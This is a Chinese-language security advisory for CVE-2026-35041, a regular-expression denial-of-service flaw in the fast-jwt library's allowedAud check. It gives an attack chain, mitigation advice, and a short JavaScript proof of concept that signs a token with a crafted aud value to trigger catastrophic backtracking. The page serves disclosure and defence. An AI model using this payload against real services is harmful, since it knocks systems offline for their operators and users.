IPBUF安全漏洞报告
English
CVE-2026-35041 CVSS 4.2 中危

CVE-2026-35041 fast-jwt正则表达式拒绝服务漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35041
漏洞类型
拒绝服务
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
fast-jwt

相关标签

CVE-2026-35041fast-jwtDoSReDoSJWT正则表达式

漏洞概述

fast-jwt是一个提供快速JSON Web Token(JWT)实现的库。在5.0.0至6.2.0版本中,当使用正则表达式配置allowedAud验证选项时,存在拒绝服务漏洞。由于aud声明由攻击者控制,且库会将其与提供的正则表达式进行匹配,特制的JWT可能触发JavaScript正则引擎中的灾难性回溯,导致验证期间大量消耗CPU资源,从而引发服务拒绝。

技术细节

该漏洞的核心在于fast-jwt库在验证JWT受众时的正则表达式处理机制。当开发者使用正则表达式定义`allowedAud`参数时,攻击者若拥有高权限,可向`aud`声明注入特制字符串。若该正则表达式编写不当(如包含复杂的嵌套量词),攻击者提供的特定字符串将触发JavaScript正则引擎的“灾难性回溯”。在回溯过程中,CPU需要进行指数级的计算以尝试匹配路径,导致服务器资源被瞬间耗尽,造成拒绝服务。此漏洞虽需高权限触发,但破坏了系统的可用性指标。

攻击链分析

STEP 1
侦察
攻击者识别目标系统使用了存在漏洞的fast-jwt库版本,且配置了正则表达式验证aud字段。
STEP 2
构造Payload
攻击者利用高权限账户,构造包含恶意aud声明的JWT,该aud值旨在触发正则表达式的灾难性回溯。
STEP 3
发送请求
攻击者将特制的JWT发送给服务器进行验证,通常在需要身份验证的接口中触发。
STEP 4
触发漏洞
fast-jwt库尝试匹配正则表达式,CPU使用率因回溯而飙升,导致服务无响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const { createDecoder, createVerifier } = require('fast-jwt'); // Example of a vulnerable configuration // Using a regex that is susceptible to catastrophic backtracking const verifier = createVerifier({ key: 'secret', allowedAud: /^(a+)+$/, // Vulnerable regex pattern example checkTyp: 'JWT' }); // Attacker-controlled token payload // The 'aud' claim is crafted to trigger backtracking const payload = { aud: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaab', iss: 'test' }; const { createSigner } = require('fast-jwt'); const signer = createSigner({ key: 'secret' }); const token = signer(payload); console.log('Attempting to verify malicious token...'); try { // This verification will cause high CPU usage (ReDoS) verifier(token); console.log('Verified'); } catch (e) { console.error('Verification failed or timed out'); }

影响范围

fast-jwt >= 5.0.0, <= 6.2.0

防御指南

临时缓解措施
如果不能立即升级,请审查代码中所有使用正则表达式验证JWT aud的部分,将其替换为更安全的字符串匹配逻辑,或限制正则表达式的复杂度。此外,建议实施严格的速率限制和监控,以检测异常的CPU消耗。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表